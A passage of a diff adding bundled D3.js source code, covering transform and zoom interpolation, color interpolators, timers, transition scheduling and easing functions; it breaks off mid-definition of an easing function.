+function decompose(a, b, c, d, e, f) { + var scaleX, scaleY, skewX; + if (scaleX = Math.sqrt(a * a + b * b)) a /= scaleX, b /= scaleX; + if (skewX = a * c + b * d) c -= a * skewX, d -= b * skewX; + if (scaleY = Math.sqrt(c * c + d * d)) c /= scaleY, d /= scaleY, skewX /= scaleY; + if (a * d < b * c) a = -a, b = -b, skewX = -skewX, scaleX = -scaleX; + return { + translateX: e, + translateY: f, + rotate: Math.atan2(b, a) * degrees, + skewX: Math.atan(skewX) * degrees, + scaleX: scaleX, + scaleY: scaleY + }; +} + +var cssNode, + cssRoot, + cssView, + svgNode; + +function parseCss(value) { + if (value === "none") return identity$2; + if (!cssNode) cssNode = document.createElement("DIV"), cssRoot = document.documentElement, cssView = document.defaultView; + cssNode.style.transform = value; + value = cssView.getComputedStyle(cssRoot.appendChild(cssNode), null).getPropertyValue("transform"); + cssRoot.removeChild(cssNode); + value = value.slice(7, -1).split(","); + return decompose(+value[0], +value[1], +value[2], +value[3], +value[4], +value[5]); +} + +function parseSvg(value) { + if (value == null) return identity$2; + if (!svgNode) svgNode = document.createElementNS("http://www.w3.org/2000/svg", "g"); + svgNode.setAttribute("transform", value); + if (!(value = svgNode.transform.baseVal.consolidate())) return identity$2; + value = value.matrix; + return decompose(value.a, value.b, value.c, value.d, value.e, value.f); +} + +function interpolateTransform(parse, pxComma, pxParen, degParen) { + + function pop(s) { + return s.length ? s.pop() + " " : ""; + } + + function translate(xa, ya, xb, yb, s, q) { + if (xa !== xb || ya !== yb) { + var i = s.push("translate(", null, pxComma, null, pxParen); + q.push({i: i - 4, x: interpolateNumber(xa, xb)}, {i: i - 2, x: interpolateNumber(ya, yb)}); + } else if (xb || yb) { + s.push("translate(" + xb + pxComma + yb + pxParen); + } + } + + function rotate(a, b, s, q) { + if (a !== b) { + if (a - b > 180) b += 360; else if (b - a > 180) a += 360; // shortest path + q.push({i: s.push(pop(s) + "rotate(", null, degParen) - 2, x: interpolateNumber(a, b)}); + } else if (b) { + s.push(pop(s) + "rotate(" + b + degParen); + } + } + + function skewX(a, b, s, q) { + if (a !== b) { + q.push({i: s.push(pop(s) + "skewX(", null, degParen) - 2, x: interpolateNumber(a, b)}); + } else if (b) { + s.push(pop(s) + "skewX(" + b + degParen); + } + } + + function scale(xa, ya, xb, yb, s, q) { + if (xa !== xb || ya !== yb) { + var i = s.push(pop(s) + "scale(", null, ",", null, ")"); + q.push({i: i - 4, x: interpolateNumber(xa, xb)}, {i: i - 2, x: interpolateNumber(ya, yb)}); + } else if (xb !== 1 || yb !== 1) { + s.push(pop(s) + "scale(" + xb + "," + yb + ")"); + } + } + + return function(a, b) { + var s = [], // string constants and placeholders + q = []; // number interpolators + a = parse(a), b = parse(b); + translate(a.translateX, a.translateY, b.translateX, b.translateY, s, q); + rotate(a.rotate, b.rotate, s, q); + skewX(a.skewX, b.skewX, s, q); + scale(a.scaleX, a.scaleY, b.scaleX, b.scaleY, s, q); + a = b = null; // gc + return function(t) { + var i = -1, n = q.length, o; + while (++i < n) s[(o = q[i]).i] = o.x(t); + return s.join(""); + }; + }; +} + +var interpolateTransformCss = interpolateTransform(parseCss, "px, ", "px)", "deg)"); +var interpolateTransformSvg = interpolateTransform(parseSvg, ", ", ")", ")"); + +var rho = Math.SQRT2, + rho2 = 2, + rho4 = 4, + epsilon2 = 1e-12; + +function cosh(x) { + return ((x = Math.exp(x)) + 1 / x) / 2; +} + +function sinh(x) { + return ((x = Math.exp(x)) - 1 / x) / 2; +} + +function tanh(x) { + return ((x = Math.exp(2 * x)) - 1) / (x + 1); +} + +// p0 = [ux0, uy0, w0] +// p1 = [ux1, uy1, w1] +function interpolateZoom(p0, p1) { + var ux0 = p0[0], uy0 = p0[1], w0 = p0[2], + ux1 = p1[0], uy1 = p1[1], w1 = p1[2], + dx = ux1 - ux0, + dy = uy1 - uy0, + d2 = dx * dx + dy * dy, + i, + S; + + // Special case for u0 ≅ u1. + if (d2 < epsilon2) { + S = Math.log(w1 / w0) / rho; + i = function(t) { + return [ + ux0 + t * dx, + uy0 + t * dy, + w0 * Math.exp(rho * t * S) + ]; + }; + } + + // General case. + else { + var d1 = Math.sqrt(d2), + b0 = (w1 * w1 - w0 * w0 + rho4 * d2) / (2 * w0 * rho2 * d1), + b1 = (w1 * w1 - w0 * w0 - rho4 * d2) / (2 * w1 * rho2 * d1), + r0 = Math.log(Math.sqrt(b0 * b0 + 1) - b0), + r1 = Math.log(Math.sqrt(b1 * b1 + 1) - b1); + S = (r1 - r0) / rho; + i = function(t) { + var s = t * S, + coshr0 = cosh(r0), + u = w0 / (rho2 * d1) * (coshr0 * tanh(rho * s + r0) - sinh(r0)); + return [ + ux0 + u * dx, + uy0 + u * dy, + w0 * coshr0 / cosh(rho * s + r0) + ]; + }; + } + + i.duration = S * 1000; + + return i; +} + +function hsl$1(hue) { + return function(start, end) { + var h = hue((start = hsl(start)).h, (end = hsl(end)).h), + s = nogamma(start.s, end.s), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.s = s(t); + start.l = l(t); + start.opacity = opacity(t); + return start + ""; + }; + } +} + +var hsl$2 = hsl$1(hue); +var hslLong = hsl$1(nogamma); + +function lab$1(start, end) { + var l = nogamma((start = lab(start)).l, (end = lab(end)).l), + a = nogamma(start.a, end.a), + b = nogamma(start.b, end.b), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.l = l(t); + start.a = a(t); + start.b = b(t); + start.opacity = opacity(t); + return start + ""; + }; +} + +function hcl$1(hue) { + return function(start, end) { + var h = hue((start = hcl(start)).h, (end = hcl(end)).h), + c = nogamma(start.c, end.c), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.c = c(t); + start.l = l(t); + start.opacity = opacity(t); + return start + ""; + }; + } +} + +var hcl$2 = hcl$1(hue); +var hclLong = hcl$1(nogamma); + +function cubehelix$1(hue) { + return (function cubehelixGamma(y) { + y = +y; + + function cubehelix$1(start, end) { + var h = hue((start = cubehelix(start)).h, (end = cubehelix(end)).h), + s = nogamma(start.s, end.s), + l = nogamma(start.l, end.l), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.h = h(t); + start.s = s(t); + start.l = l(Math.pow(t, y)); + start.opacity = opacity(t); + return start + ""; + }; + } + + cubehelix$1.gamma = cubehelixGamma; + + return cubehelix$1; + })(1); +} + +var cubehelix$2 = cubehelix$1(hue); +var cubehelixLong = cubehelix$1(nogamma); + +function piecewise(interpolate, values) { + var i = 0, n = values.length - 1, v = values[0], I = new Array(n < 0 ? 0 : n); + while (i < n) I[i] = interpolate(v, v = values[++i]); + return function(t) { + var i = Math.max(0, Math.min(n - 1, Math.floor(t *= n))); + return I[i](t - i); + }; +} + +function quantize(interpolator, n) { + var samples = new Array(n); + for (var i = 0; i < n; ++i) samples[i] = interpolator(i / (n - 1)); + return samples; +} + +var frame = 0, // is an animation frame pending? + timeout = 0, // is a timeout pending? + interval = 0, // are any timers active? + pokeDelay = 1000, // how frequently we check for clock skew + taskHead, + taskTail, + clockLast = 0, + clockNow = 0, + clockSkew = 0, + clock = typeof performance === "object" && performance.now ? performance : Date, + setFrame = typeof window === "object" && window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : function(f) { setTimeout(f, 17); }; + +function now() { + return clockNow || (setFrame(clearNow), clockNow = clock.now() + clockSkew); +} + +function clearNow() { + clockNow = 0; +} + +function Timer() { + this._call = + this._time = + this._next = null; +} + +Timer.prototype = timer.prototype = { + constructor: Timer, + restart: function(callback, delay, time) { + if (typeof callback !== "function") throw new TypeError("callback is not a function"); + time = (time == null ? now() : +time) + (delay == null ? 0 : +delay); + if (!this._next && taskTail !== this) { + if (taskTail) taskTail._next = this; + else taskHead = this; + taskTail = this; + } + this._call = callback; + this._time = time; + sleep(); + }, + stop: function() { + if (this._call) { + this._call = null; + this._time = Infinity; + sleep(); + } + } +}; + +function timer(callback, delay, time) { + var t = new Timer; + t.restart(callback, delay, time); + return t; +} + +function timerFlush() { + now(); // Get the current time, if not already set. + ++frame; // Pretend we’ve set an alarm, if we haven’t already. + var t = taskHead, e; + while (t) { + if ((e = clockNow - t._time) >= 0) t._call.call(null, e); + t = t._next; + } + --frame; +} + +function wake() { + clockNow = (clockLast = clock.now()) + clockSkew; + frame = timeout = 0; + try { + timerFlush(); + } finally { + frame = 0; + nap(); + clockNow = 0; + } +} + +function poke() { + var now = clock.now(), delay = now - clockLast; + if (delay > pokeDelay) clockSkew -= delay, clockLast = now; +} + +function nap() { + var t0, t1 = taskHead, t2, time = Infinity; + while (t1) { + if (t1._call) { + if (time > t1._time) time = t1._time; + t0 = t1, t1 = t1._next; + } else { + t2 = t1._next, t1._next = null; + t1 = t0 ? t0._next = t2 : taskHead = t2; + } + } + taskTail = t0; + sleep(time); +} + +function sleep(time) { + if (frame) return; // Soonest alarm already set, or will be. + if (timeout) timeout = clearTimeout(timeout); + var delay = time - clockNow; // Strictly less than if we recomputed clockNow. + if (delay > 24) { + if (time < Infinity) timeout = setTimeout(wake, time - clock.now() - clockSkew); + if (interval) interval = clearInterval(interval); + } else { + if (!interval) clockLast = clock.now(), interval = setInterval(poke, pokeDelay); + frame = 1, setFrame(wake); + } +} + +function timeout$1(callback, delay, time) { + var t = new Timer; + delay = delay == null ? 0 : +delay; + t.restart(function(elapsed) { + t.stop(); + callback(elapsed + delay); + }, delay, time); + return t; +} + +function interval$1(callback, delay, time) { + var t = new Timer, total = delay; + if (delay == null) return t.restart(callback, delay, time), t; + delay = +delay, time = time == null ? now() : +time; + t.restart(function tick(elapsed) { + elapsed += total; + t.restart(tick, total += delay, time); + callback(elapsed); + }, delay, time); + return t; +} + +var emptyOn = dispatch("start", "end", "cancel", "interrupt"); +var emptyTween = []; + +var CREATED = 0; +var SCHEDULED = 1; +var STARTING = 2; +var STARTED = 3; +var RUNNING = 4; +var ENDING = 5; +var ENDED = 6; + +function schedule(node, name, id, index, group, timing) { + var schedules = node.__transition; + if (!schedules) node.__transition = {}; + else if (id in schedules) return; + create$1(node, id, { + name: name, + index: index, // For context during callback. + group: group, // For context during callback. + on: emptyOn, + tween: emptyTween, + time: timing.time, + delay: timing.delay, + duration: timing.duration, + ease: timing.ease, + timer: null, + state: CREATED + }); +} + +function init(node, id) { + var schedule = get$1(node, id); + if (schedule.state > CREATED) throw new Error("too late; already scheduled"); + return schedule; +} + +function set$1(node, id) { + var schedule = get$1(node, id); + if (schedule.state > STARTED) throw new Error("too late; already running"); + return schedule; +} + +function get$1(node, id) { + var schedule = node.__transition; + if (!schedule || !(schedule = schedule[id])) throw new Error("transition not found"); + return schedule; +} + +function create$1(node, id, self) { + var schedules = node.__transition, + tween; + + // Initialize the self timer when the transition is created. + // Note the actual delay is not known until the first callback! + schedules[id] = self; + self.timer = timer(schedule, 0, self.time); + + function schedule(elapsed) { + self.state = SCHEDULED; + self.timer.restart(start, self.delay, self.time); + + // If the elapsed delay is less than our first sleep, start immediately. + if (self.delay <= elapsed) start(elapsed - self.delay); + } + + function start(elapsed) { + var i, j, n, o; + + // If the state is not SCHEDULED, then we previously errored on start. + if (self.state !== SCHEDULED) return stop(); + + for (i in schedules) { + o = schedules[i]; + if (o.name !== self.name) continue; + + // While this element already has a starting transition during this frame, + // defer starting an interrupting transition until that transition has a + // chance to tick (and possibly end); see d3/d3-transition#54! + if (o.state === STARTED) return timeout$1(start); + + // Interrupt the active transition, if any. + if (o.state === RUNNING) { + o.state = ENDED; + o.timer.stop(); + o.on.call("interrupt", node, node.__data__, o.index, o.group); + delete schedules[i]; + } + + // Cancel any pre-empted transitions. + else if (+i < id) { + o.state = ENDED; + o.timer.stop(); + o.on.call("cancel", node, node.__data__, o.index, o.group); + delete schedules[i]; + } + } + + // Defer the first tick to end of the current frame; see d3/d3#1576. + // Note the transition may be canceled after start and before the first tick! + // Note this must be scheduled before the start event; see d3/d3-transition#16! + // Assuming this is successful, subsequent callbacks go straight to tick. + timeout$1(function() { + if (self.state === STARTED) { + self.state = RUNNING; + self.timer.restart(tick, self.delay, self.time); + tick(elapsed); + } + }); + + // Dispatch the start event. + // Note this must be done before the tween are initialized. + self.state = STARTING; + self.on.call("start", node, node.__data__, self.index, self.group); + if (self.state !== STARTING) return; // interrupted + self.state = STARTED; + + // Initialize the tween, deleting null tween. + tween = new Array(n = self.tween.length); + for (i = 0, j = -1; i < n; ++i) { + if (o = self.tween[i].value.call(node, node.__data__, self.index, self.group)) { + tween[++j] = o; + } + } + tween.length = j + 1; + } + + function tick(elapsed) { + var t = elapsed < self.duration ? self.ease.call(null, elapsed / self.duration) : (self.timer.restart(stop), self.state = ENDING, 1), + i = -1, + n = tween.length; + + while (++i < n) { + tween[i].call(node, t); + } + + // Dispatch the end event. + if (self.state === ENDING) { + self.on.call("end", node, node.__data__, self.index, self.group); + stop(); + } + } + + function stop() { + self.state = ENDED; + self.timer.stop(); + delete schedules[id]; + for (var i in schedules) return; // eslint-disable-line no-unused-vars + delete node.__transition; + } +} + +function interrupt(node, name) { + var schedules = node.__transition, + schedule, + active, + empty = true, + i; + + if (!schedules) return; + + name = name == null ? null : name + ""; + + for (i in schedules) { + if ((schedule = schedules[i]).name !== name) { empty = false; continue; } + active = schedule.state > STARTING && schedule.state < ENDING; + schedule.state = ENDED; + schedule.timer.stop(); + schedule.on.call(active ? "interrupt" : "cancel", node, node.__data__, schedule.index, schedule.group); + delete schedules[i]; + } + + if (empty) delete node.__transition; +} + +function selection_interrupt(name) { + return this.each(function() { + interrupt(this, name); + }); +} + +function tweenRemove(id, name) { + var tween0, tween1; + return function() { + var schedule = set$1(this, id), + tween = schedule.tween; + + // If this node shared tween with the previous node, + // just assign the updated shared tween and we’re done! + // Otherwise, copy-on-write. + if (tween !== tween0) { + tween1 = tween0 = tween; + for (var i = 0, n = tween1.length; i < n; ++i) { + if (tween1[i].name === name) { + tween1 = tween1.slice(); + tween1.splice(i, 1); + break; + } + } + } + + schedule.tween = tween1; + }; +} + +function tweenFunction(id, name, value) { + var tween0, tween1; + if (typeof value !== "function") throw new Error; + return function() { + var schedule = set$1(this, id), + tween = schedule.tween; + + // If this node shared tween with the previous node, + // just assign the updated shared tween and we’re done! + // Otherwise, copy-on-write. + if (tween !== tween0) { + tween1 = (tween0 = tween).slice(); + for (var t = {name: name, value: value}, i = 0, n = tween1.length; i < n; ++i) { + if (tween1[i].name === name) { + tween1[i] = t; + break; + } + } + if (i === n) tween1.push(t); + } + + schedule.tween = tween1; + }; +} + +function transition_tween(name, value) { + var id = this._id; + + name += ""; + + if (arguments.length < 2) { + var tween = get$1(this.node(), id).tween; + for (var i = 0, n = tween.length, t; i < n; ++i) { + if ((t = tween[i]).name === name) { + return t.value; + } + } + return null; + } + + return this.each((value == null ? tweenRemove : tweenFunction)(id, name, value)); +} + +function tweenValue(transition, name, value) { + var id = transition._id; + + transition.each(function() { + var schedule = set$1(this, id); + (schedule.value || (schedule.value = {}))[name] = value.apply(this, arguments); + }); + + return function(node) { + return get$1(node, id).value[name]; + }; +} + +function interpolate(a, b) { + var c; + return (typeof b === "number" ? interpolateNumber + : b instanceof color ? interpolateRgb + : (c = color(b)) ? (b = c, interpolateRgb) + : interpolateString)(a, b); +} + +function attrRemove$1(name) { + return function() { + this.removeAttribute(name); + }; +} + +function attrRemoveNS$1(fullname) { + return function() { + this.removeAttributeNS(fullname.space, fullname.local); + }; +} + +function attrConstant$1(name, interpolate, value1) { + var string00, + string1 = value1 + "", + interpolate0; + return function() { + var string0 = this.getAttribute(name); + return string0 === string1 ? null + : string0 === string00 ? interpolate0 + : interpolate0 = interpolate(string00 = string0, value1); + }; +} + +function attrConstantNS$1(fullname, interpolate, value1) { + var string00, + string1 = value1 + "", + interpolate0; + return function() { + var string0 = this.getAttributeNS(fullname.space, fullname.local); + return string0 === string1 ? null + : string0 === string00 ? interpolate0 + : interpolate0 = interpolate(string00 = string0, value1); + }; +} + +function attrFunction$1(name, interpolate, value) { + var string00, + string10, + interpolate0; + return function() { + var string0, value1 = value(this), string1; + if (value1 == null) return void this.removeAttribute(name); + string0 = this.getAttribute(name); + string1 = value1 + ""; + return string0 === string1 ? null + : string0 === string00 && string1 === string10 ? interpolate0 + : (string10 = string1, interpolate0 = interpolate(string00 = string0, value1)); + }; +} + +function attrFunctionNS$1(fullname, interpolate, value) { + var string00, + string10, + interpolate0; + return function() { + var string0, value1 = value(this), string1; + if (value1 == null) return void this.removeAttributeNS(fullname.space, fullname.local); + string0 = this.getAttributeNS(fullname.space, fullname.local); + string1 = value1 + ""; + return string0 === string1 ? null + : string0 === string00 && string1 === string10 ? interpolate0 + : (string10 = string1, interpolate0 = interpolate(string00 = string0, value1)); + }; +} + +function transition_attr(name, value) { + var fullname = namespace(name), i = fullname === "transform" ? interpolateTransformSvg : interpolate; + return this.attrTween(name, typeof value === "function" + ? (fullname.local ? attrFunctionNS$1 : attrFunction$1)(fullname, i, tweenValue(this, "attr." + name, value)) + : value == null ? (fullname.local ? attrRemoveNS$1 : attrRemove$1)(fullname) + : (fullname.local ? attrConstantNS$1 : attrConstant$1)(fullname, i, value)); +} + +function attrInterpolate(name, i) { + return function(t) { + this.setAttribute(name, i.call(this, t)); + }; +} + +function attrInterpolateNS(fullname, i) { + return function(t) { + this.setAttributeNS(fullname.space, fullname.local, i.call(this, t)); + }; +} + +function attrTweenNS(fullname, value) { + var t0, i0; + function tween() { + var i = value.apply(this, arguments); + if (i !== i0) t0 = (i0 = i) && attrInterpolateNS(fullname, i); + return t0; + } + tween._value = value; + return tween; +} + +function attrTween(name, value) { + var t0, i0; + function tween() { + var i = value.apply(this, arguments); + if (i !== i0) t0 = (i0 = i) && attrInterpolate(name, i); + return t0; + } + tween._value = value; + return tween; +} + +function transition_attrTween(name, value) { + var key = "attr." + name; + if (arguments.length < 2) return (key = this.tween(key)) && key._value; + if (value == null) return this.tween(key, null); + if (typeof value !== "function") throw new Error; + var fullname = namespace(name); + return this.tween(key, (fullname.local ? attrTweenNS : attrTween)(fullname, value)); +} + +function delayFunction(id, value) { + return function() { + init(this, id).delay = +value.apply(this, arguments); + }; +} + +function delayConstant(id, value) { + return value = +value, function() { + init(this, id).delay = value; + }; +} + +function transition_delay(value) { + var id = this._id; + + return arguments.length + ? this.each((typeof value === "function" + ? delayFunction + : delayConstant)(id, value)) + : get$1(this.node(), id).delay; +} + +function durationFunction(id, value) { + return function() { + set$1(this, id).duration = +value.apply(this, arguments); + }; +} + +function durationConstant(id, value) { + return value = +value, function() { + set$1(this, id).duration = value; + }; +} + +function transition_duration(value) { + var id = this._id; + + return arguments.length + ? this.each((typeof value === "function" + ? durationFunction + : durationConstant)(id, value)) + : get$1(this.node(), id).duration; +} + +function easeConstant(id, value) { + if (typeof value !== "function") throw new Error; + return function() { + set$1(this, id).ease = value; + }; +} + +function transition_ease(value) { + var id = this._id; + + return arguments.length + ? this.each(easeConstant(id, value)) + : get$1(this.node(), id).ease; +} + +function transition_filter(match) { + if (typeof match !== "function") match = matcher(match); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) { + if ((node = group[i]) && match.call(node, node.__data__, i, group)) { + subgroup.push(node); + } + } + } + + return new Transition(subgroups, this._parents, this._name, this._id); +} + +function transition_merge(transition) { + if (transition._id !== this._id) throw new Error; + + for (var groups0 = this._groups, groups1 = transition._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) { + for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) { + if (node = group0[i] || group1[i]) { + merge[i] = node; + } + } + } + + for (; j < m0; ++j) { + merges[j] = groups0[j]; + } + + return new Transition(merges, this._parents, this._name, this._id); +} + +function start(name) { + return (name + "").trim().split(/^|\s+/).every(function(t) { + var i = t.indexOf("."); + if (i >= 0) t = t.slice(0, i); + return !t || t === "start"; + }); +} + +function onFunction(id, name, listener) { + var on0, on1, sit = start(name) ? init : set$1; + return function() { + var schedule = sit(this, id), + on = schedule.on; + + // If this node shared a dispatch with the previous node, + // just assign the updated shared dispatch and we’re done! + // Otherwise, copy-on-write. + if (on !== on0) (on1 = (on0 = on).copy()).on(name, listener); + + schedule.on = on1; + }; +} + +function transition_on(name, listener) { + var id = this._id; + + return arguments.length < 2 + ? get$1(this.node(), id).on.on(name) + : this.each(onFunction(id, name, listener)); +} + +function removeFunction(id) { + return function() { + var parent = this.parentNode; + for (var i in this.__transition) if (+i !== id) return; + if (parent) parent.removeChild(this); + }; +} + +function transition_remove() { + return this.on("end.remove", removeFunction(this._id)); +} + +function transition_select(select) { + var name = this._name, + id = this._id; + + if (typeof select !== "function") select = selector(select); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) { + if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) { + if ("__data__" in node) subnode.__data__ = node.__data__; + subgroup[i] = subnode; + schedule(subgroup[i], name, id, i, subgroup, get$1(node, id)); + } + } + } + + return new Transition(subgroups, this._parents, name, id); +} + +function transition_selectAll(select) { + var name = this._name, + id = this._id; + + if (typeof select !== "function") select = selectorAll(select); + + for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { + if (node = group[i]) { + for (var children = select.call(node, node.__data__, i, group), child, inherit = get$1(node, id), k = 0, l = children.length; k < l; ++k) { + if (child = children[k]) { + schedule(child, name, id, k, children, inherit); + } + } + subgroups.push(children); + parents.push(node); + } + } + } + + return new Transition(subgroups, parents, name, id); +} + +var Selection$1 = selection.prototype.constructor; + +function transition_selection() { + return new Selection$1(this._groups, this._parents); +} + +function styleNull(name, interpolate) { + var string00, + string10, + interpolate0; + return function() { + var string0 = styleValue(this, name), + string1 = (this.style.removeProperty(name), styleValue(this, name)); + return string0 === string1 ? null + : string0 === string00 && string1 === string10 ? interpolate0 + : interpolate0 = interpolate(string00 = string0, string10 = string1); + }; +} + +function styleRemove$1(name) { + return function() { + this.style.removeProperty(name); + }; +} + +function styleConstant$1(name, interpolate, value1) { + var string00, + string1 = value1 + "", + interpolate0; + return function() { + var string0 = styleValue(this, name); + return string0 === string1 ? null + : string0 === string00 ? interpolate0 + : interpolate0 = interpolate(string00 = string0, value1); + }; +} + +function styleFunction$1(name, interpolate, value) { + var string00, + string10, + interpolate0; + return function() { + var string0 = styleValue(this, name), + value1 = value(this), + string1 = value1 + ""; + if (value1 == null) string1 = value1 = (this.style.removeProperty(name), styleValue(this, name)); + return string0 === string1 ? null + : string0 === string00 && string1 === string10 ? interpolate0 + : (string10 = string1, interpolate0 = interpolate(string00 = string0, value1)); + }; +} + +function styleMaybeRemove(id, name) { + var on0, on1, listener0, key = "style." + name, event = "end." + key, remove; + return function() { + var schedule = set$1(this, id), + on = schedule.on, + listener = schedule.value[key] == null ? remove || (remove = styleRemove$1(name)) : undefined; + + // If this node shared a dispatch with the previous node, + // just assign the updated shared dispatch and we’re done! + // Otherwise, copy-on-write. + if (on !== on0 || listener0 !== listener) (on1 = (on0 = on).copy()).on(event, listener0 = listener); + + schedule.on = on1; + }; +} + +function transition_style(name, value, priority) { + var i = (name += "") === "transform" ? interpolateTransformCss : interpolate; + return value == null ? this + .styleTween(name, styleNull(name, i)) + .on("end.style." + name, styleRemove$1(name)) + : typeof value === "function" ? this + .styleTween(name, styleFunction$1(name, i, tweenValue(this, "style." + name, value))) + .each(styleMaybeRemove(this._id, name)) + : this + .styleTween(name, styleConstant$1(name, i, value), priority) + .on("end.style." + name, null); +} + +function styleInterpolate(name, i, priority) { + return function(t) { + this.style.setProperty(name, i.call(this, t), priority); + }; +} + +function styleTween(name, value, priority) { + var t, i0; + function tween() { + var i = value.apply(this, arguments); + if (i !== i0) t = (i0 = i) && styleInterpolate(name, i, priority); + return t; + } + tween._value = value; + return tween; +} + +function transition_styleTween(name, value, priority) { + var key = "style." + (name += ""); + if (arguments.length < 2) return (key = this.tween(key)) && key._value; + if (value == null) return this.tween(key, null); + if (typeof value !== "function") throw new Error; + return this.tween(key, styleTween(name, value, priority == null ? "" : priority)); +} + +function textConstant$1(value) { + return function() { + this.textContent = value; + }; +} + +function textFunction$1(value) { + return function() { + var value1 = value(this); + this.textContent = value1 == null ? "" : value1; + }; +} + +function transition_text(value) { + return this.tween("text", typeof value === "function" + ? textFunction$1(tweenValue(this, "text", value)) + : textConstant$1(value == null ? "" : value + "")); +} + +function textInterpolate(i) { + return function(t) { + this.textContent = i.call(this, t); + }; +} + +function textTween(value) { + var t0, i0; + function tween() { + var i = value.apply(this, arguments); + if (i !== i0) t0 = (i0 = i) && textInterpolate(i); + return t0; + } + tween._value = value; + return tween; +} + +function transition_textTween(value) { + var key = "text"; + if (arguments.length < 1) return (key = this.tween(key)) && key._value; + if (value == null) return this.tween(key, null); + if (typeof value !== "function") throw new Error; + return this.tween(key, textTween(value)); +} + +function transition_transition() { + var name = this._name, + id0 = this._id, + id1 = newId(); + + for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { + if (node = group[i]) { + var inherit = get$1(node, id0); + schedule(node, name, id1, i, group, { + time: inherit.time + inherit.delay + inherit.duration, + delay: 0, + duration: inherit.duration, + ease: inherit.ease + }); + } + } + } + + return new Transition(groups, this._parents, name, id1); +} + +function transition_end() { + var on0, on1, that = this, id = that._id, size = that.size(); + return new Promise(function(resolve, reject) { + var cancel = {value: reject}, + end = {value: function() { if (--size === 0) resolve(); }}; + + that.each(function() { + var schedule = set$1(this, id), + on = schedule.on; + + // If this node shared a dispatch with the previous node, + // just assign the updated shared dispatch and we’re done! + // Otherwise, copy-on-write. + if (on !== on0) { + on1 = (on0 = on).copy(); + on1._.cancel.push(cancel); + on1._.interrupt.push(cancel); + on1._.end.push(end); + } + + schedule.on = on1; + }); + }); +} + +var id = 0; + +function Transition(groups, parents, name, id) { + this._groups = groups; + this._parents = parents; + this._name = name; + this._id = id; +} + +function transition(name) { + return selection().transition(name); +} + +function newId() { + return ++id; +} + +var selection_prototype = selection.prototype; + +Transition.prototype = transition.prototype = { + constructor: Transition, + select: transition_select, + selectAll: transition_selectAll, + filter: transition_filter, + merge: transition_merge, + selection: transition_selection, + transition: transition_transition, + call: selection_prototype.call, + nodes: selection_prototype.nodes, + node: selection_prototype.node, + size: selection_prototype.size, + empty: selection_prototype.empty, + each: selection_prototype.each, + on: transition_on, + attr: transition_attr, + attrTween: transition_attrTween, + style: transition_style, + styleTween: transition_styleTween, + text: transition_text, + textTween: transition_textTween, + remove: transition_remove, + tween: transition_tween, + delay: transition_delay, + duration: transition_duration, + ease: transition_ease, + end: transition_end +}; + +function linear$1(t) { + return +t; +} + +function quadIn(t) { + return t * t; +} + +function quadOut(t) { + return t * (2 - t); +} + +function quadInOut(t) { + return ((t *= 2) <= 1 ? t * t : --t * (2 - t) + 1) / 2; +} + +function cubicIn(t) { + return t * t * t; +} + +function cubicOut(t) { + return --t * t * t + 1; +} + +function cubicInOut(t) { + return ((t *= 2) <= 1 ? t * t * t : (t -= 2) * t * t + 2) / 2; +} + +var exponent = 3; + +var polyIn = (function custom(e) { + e = +e; + + function polyIn(t) { + return Math.pow(t, e); + } + + polyIn.exponent = custom; + + return polyIn; +})(exponent); + +var polyOut = (function custom(e) { + e = +e; + + function polyOut(t) { + return 1 - Math.pow(1 - t, e); + } + + polyOut.exponent = custom; + + return polyOut; +})(exponent); + +var polyInOut = (function custom(e) { + e = +e; + + function polyInOut(t) { + return ((t *= 2) <= 1 ? Math.pow(t, e) : 2 - Math.pow(2 - t, e)) / 2; + } + + polyInOut.exponent = custom; + + return polyInOut; +})(exponent); + +var pi = Math.PI, + halfPi = pi / 2; + +function sinIn(t) { + return 1 - Math.cos(t * halfPi); +} + +function sinOut(t) { + return Math.sin(t * halfPi); +} + +function sinInOut(t) { + return (1 - Math.cos(pi * t)) / 2; +} + +function expIn(t) { + return Math.pow(2, 10 * t - 10); +} + +function expOut(t) { + return 1 - Math.pow(2, -10 * t); +} + +function expInOut(t) { + return ((t *= 2) <= 1 ? Math.pow(2, 10 * t - 10) : 2 - Math.pow(2, 10 - 10 * t)) / 2; +} + +function circleIn(t) { + return 1 - Math.sqrt(1 - t * t); +} + +function circleOut(t) { + return Math.sqrt(1 - --t * t); +} + +function circleInOut(t) { + return ((t *= 2) <= 1 ? 1 - Math.sqrt(1 - t * t) : Math.sqrt(1 - (t -= 2) * t) + 1) / 2; +} + +var b1 = 4 / 11, + b2 = 6 / 11, + b3 = 8 / 11, + b4 = 3 / 4, + b5 = 9 / 11, + b6 = 10 / 11, + b7 = 15 / 16, + b8 = 21 / 22, + b9 = 63 / 64, + b0 = 1 / b1 / b1; + +function bounceIn(t) { + return 1 - bounceOut(1 - t); +} + +function bounceOut(t) { + return (t = +t) < b1 ? b0 * t * t : t < b3 ? b0 * (t -= b2) * t + b4 : t < b6 ? b0 * (t -= b5) * t + b7 : b0 * (t -= b8) * t + b9; +} + +function bounceInOut(t) { + return ((t *= 2) <= 1 ? 1 - bounceOut(1 - t) : bounceOut(t - 1) + 1) / 2; +} + +var overshoot = 1.70158; + +var backIn = (function custom(s) { + s = +s; + + function backIn(t) { + return t * t * ((s + 1) * t - s); + } + + backIn.overshoot = custom; + + return backIn; +})(overshoot); + +var backOut = (function custom(s) { + s = +s; + + function backOut(t) { + return --t 